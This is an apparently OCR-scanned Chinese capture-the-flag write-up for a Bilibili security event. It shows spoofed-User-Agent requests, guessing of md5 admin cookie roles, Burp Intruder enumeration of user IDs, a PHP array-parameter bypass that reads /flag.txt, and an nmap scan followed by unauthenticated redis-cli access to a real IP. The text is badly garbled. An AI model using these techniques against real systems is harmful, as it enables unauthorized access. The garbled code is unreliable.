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</head>
“scripts>
S.ajax({
Typ&: "get™,
success:funcrion (daca) {
/fconasale.logidaca) ;
if (data.code == 200} {

// WEEE: AR

var input = document.getElemencById("flagl™”):
input.wvalue = String(data.data);

} else {
/7 ASRE

S('#flagl’) .heml (EORR, FHEHKL-~"):

})
</seript>
<seripts>
E.ajax({
url: "apifctE/2",
type: "get”,
success:function (data) {
/fconsale.log(data)
if [daca.code == 200}){
/7 MEEE: AnmateE
§i'#flag2’).homl ("flagZ: * + data.data);
} else {
/7 SRE
S{'$flag2’) . .himl ("FEEEHbilibili Security Browserilaieswsnl- ") :
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code: 288

data: "d3z9845d-ca2515e4-a4bae3d-ead2b12c”™

msg:
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EJ Request to http://45.113.201.36:80
[ Forward J [ Drop J [ Intercept is on J [

M Params T Headers T Hex 1

GET /js/jquervy-1.10.2.min.map HTTP/1l.1
Host: 45.113.201.36

User—Agent: bilibkili Security Browser
Aocept: *7W

SRUDRE IR IR K

flag2: 365¢9761-265dcabe- 25ceakcl - bfcd2Sac

0x03 % i & W5 ?

BIAND, BCAH AR, SRS ILAS, HP 4 E E2admin, #fadmin, password. 1234568575, )5
FEEbilibilif¥ i 15 5 5% A5 2lflag -_-||

45.113.201.36 &

flag is: 13caebbe-e1bbe325-8d7cddal-d6fE7edc
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GET /supsradmin.html HTTF 1.1
Howst: §5,117.201.7%
Ussr=Agent: Hezilla/5.0 (Windews WT 10.0: Win€d; wéd: ev:BI.0) Cecke/IDI00L0L Firefow/82.0

Aooept: tewt/Btml,applicat ion/wheml+xml, applicat 1on/ymlq=0.5, image/ eshp, *F * 1 q=0.8

Accept-Language: zh-CH, zbi q=0.0, zh-T¥; g=0. 7, sh-NE: q=0. 3, =o-UF: g=0. 3, enig=0.2

Accepe-Enceding: gzip, deflate

Beferer: hECp://45.113.200.36/atare. heml

Coomection: kesp-alive

Cockie: semsicn=ey]la®li0l IxHzEORTewRCId . HEP2Y0. wil le-H0-Frd AVABHCORETEc119; role=eslickb iB0ileddbiTaacloali0cinse
Upgrade- [nsecure-Requeats: L

Tf-Hodified-5inoe: Tha, 22 0ot I0Z0 1104510 GHET

[f-Hon=—Katch: W 9S£917167-abB"

Cache-Conteal: max-agesd

HIH4 —role=ee11cbb19052e40b07aac0ca060c23ee, I fifht /X uk i i,

Hie

uger

R IIX 5 2 useriimd5in &% 754

M H P, Z2alitrole)s i IX B E SO BB I B E B, X 1 superadmin. admin. root5&E# A

b, e JE fE U Administrator i maS it N5l B R A I T T,

Ragult:

bagesd; QWRTAW SDCIRY XV g==
me5: g 51 2ea ifeded 76 bdohat
md5_middle: Jeeileded? Shdel
md5simdS[$pasa]l: 59701152M2abooR el a0 el0na
md5{md Smd5($passil): b02181e033312 1eTcheeesatdi? a7 463
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GET Jeuperadmin.bemi HTT# 1.1

Hose: 45.113.201.36

User—Agent: Hozilla/5.0 |Windows NT 10.0v Winé4; x&4; rvi8I1.0) Gecko/IDL00L0L Firefow/BI.0
Accepe: text/html, application’ chtml+sml, applicasion/sml:ge0,9, tmags/ wabp, " *oq=0.0
Accapt-Langiage: h-cH, shiqed. B, sh-TW: qs0.7, theHE; o0, 5, an-03: g0, 1, #n: qe0. 2
Accepc-Encoding: gaip, deflace

Pefsrer: hotp://45.113,.201. 76/ start . html

Comnection: kesp-alive

Cockie: sesalon=eyJiaWQilll«HzEONTowBCIE. XEP2VQ. wil le~NO-FredAVadBOOLITIc 14 role=ThThelSilee ifeded ) EbdoEdSZ EIE T I
Upgrags- [nssours-Pgquests: 1

[t-Hodified-Since; Thu, I3 Oct TO20 11:49:11 GAT

TE=Home=Havch: W/ "ELH171T-aba%

Cache-Controlr max-age=d
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§ (function () {

{function (§) {
S.getlirlParam = function|nams) {

var reg = new RegExp (™ (*|&)" + name + "=([“&]=) (&|5)"):
var r = window.location.search.sobestr (1) .match (reg);
if (r !'= mull) recurn uneacape(r[2]}; return null;

)

}) (JQuery) ;

var uid = §.gecUrlParam(oid"});
if (uid == null) {
uid = 100336888;
H
F.ajax({
url: "apifecf/5%nid=" % wid,
type: "get®,
success: function (data) {
conanle. log (data) @
if (data.code == 200){
£/ MEEE: PRl
5('$#flag').homl ("FBEREESEOE -~ flag :
} mlme |
/7 SESE
§('#flag’) . heml ("EEEHITPENER~ ")

FIEG . HIHA AN SERIUid=100336889, Jburpsuite A iX Nuid - h4E: Jim b .

¥ &+ data.data )



B! irtruder attack 1 - [m] =
Attack Save Columns

[t e [P [ |
Iz] Fayload Sets

“ou can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab.
Varinus payload types are available for each payload set, and each payload type can be customized in diferent ways.

Payload set: | 1 B Payload court: 873

Payload type:  Simple st - Request count: 873

Fe ]

ll] Payload Options [Simple list]
This payload type lels you configure a ssmple list of stings thal ae used as payloads

Paste | 100336389
p 100336850
Load .. | | 100336891
———— | 100336852
l—Jm""" 100336593

Clear | | 100336894
Add

100336895

Enier a new ilem

Ik

B Intruder attack 5
Attack Save Columns

[ Resuits | Target | Posiions | Payloads [ Options |

[Filtut: Showing all items

| Payload Statws  |Emor | Timeout| Length v Comment
96 100335984 200 d ] 2z
0 200 B [ T baseline request
1 100336889 200 ] g 197
2 100336890 200 =] g 197
3 1003356891 200 =] g 1r
4 100336892 200 = O 17
6 100336894 200 a o 197
5 100336893 200 = g 197
7 100336895 200 =] a 1
8 100336896 200 ] g 1o
9 100336897 200 a g 197
10 100336898 200 = o 197
13 100336901 200 = 0o 19w
12 100336900 200 = o a7
1 100336899 200 ] o 197
15 100336903 200 a g 19r
14 100336902 200 =] o 197
17 100336905 200 [~ o 197
16 100336904 200 [ g 197
18 100336906 200 E a 1o
0N A0NTIEQNR 20N [ | [ =] 4407

EH&M Hex

HTTP/1.1 200 OK

Serwver: nginx/1.10.3

Date: Sac, I4 Oct Z0I0 11l:17:24 GHT
Content-Type: application/j=on
Contenc-Length: €7

Connsction: closs

Vary: Cookie

{"code'":200, "daca™: "56389e5d-eb03 62 le-2E475cCcT-ThIL4A0E", "magm: """}
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Hsk— KHEHOIZ KT, LHrJSFuckinss, JF/~Chrome, console H i H 4T .
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> "war strl = "\u7alb\uS5eBf w5458\ u6T7A0\u591a\u76B4\ W57 38 ue5b9";
var str2 = "bilibilil@24havefun™;
console.log()"

stri 1 1 2538 T unicode fil e B

unicodeth )X &%
| \u7a0b\uSeBfu5458\u6700\u591a\u7684\u5730\u65b9

H¥fUnicode  HASHETHE | W=
il 1 A

unicodedAX HEE
1 EEaEFRIG

RIEHER, BIAEFET 2 2 (3 )57 -Github, 48 2 str2ft P4 Z5bilibili1024havefun. IssueH % #45end.php.


http://120.92.151.189/blog/test.php

}* Galblgedaa ~ end/endphp /> Jumpto~

gi'j interesting-1024 Add fles via upload

Ax 1 contributor

22 lines (17 sloc) 382 Bytes
£ Fphp
ffFilename end.php
Sbilibdli = "vdlipdlil@zdhavefun=;

$str = dntval{$_GET['da‘']);
Sreg = preg_mateh(/\d/is®, S_GET['8d'1);

if(1is_numerlc($ GET["10']1) and Sreg |== 1 #nd Sstr === 1){
frcontent = file get contents($_GET['url']);

FI S
if (false){
echo "B~ ";
felsef
echo $Flag;
H
Jelse(
echo “RIEEMAEEIL~=;
1
¥

Fyit 4%, http://120.92.151.189/blog/end.php?id[]=&url=/flag.txt, =& kK, iFbinwalk £ —F, &A1
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# nmap 45.113.201.36 -p 1-10000

Starting Nmap 7.
Nmap scan report

Host is up (@
Not shown: 9996
STATE

86 ( htt ‘/nmap.org ) at 2020-10-26
1.36

ports

SERVICE

http

https
openvpn
redis

address (1 host up) scanned in 383.34 seconds
hit \

6379 redis, kaliffi&f, MT—1.

sudo apt install redis

=
libbfiol lib i dikc & python-netaddr python3-attr

son redis-server redis-tools

# redis-cli -h 45.113.201.36 -p 6379
45.113.201.36:6379> get flags
"d436b982-2b81aa54-49a8d2db-87ab951a"

.113.201.36 get flag?

.201.36:63 get flag9

f2 Bl

.201.

get flag6

get flagle
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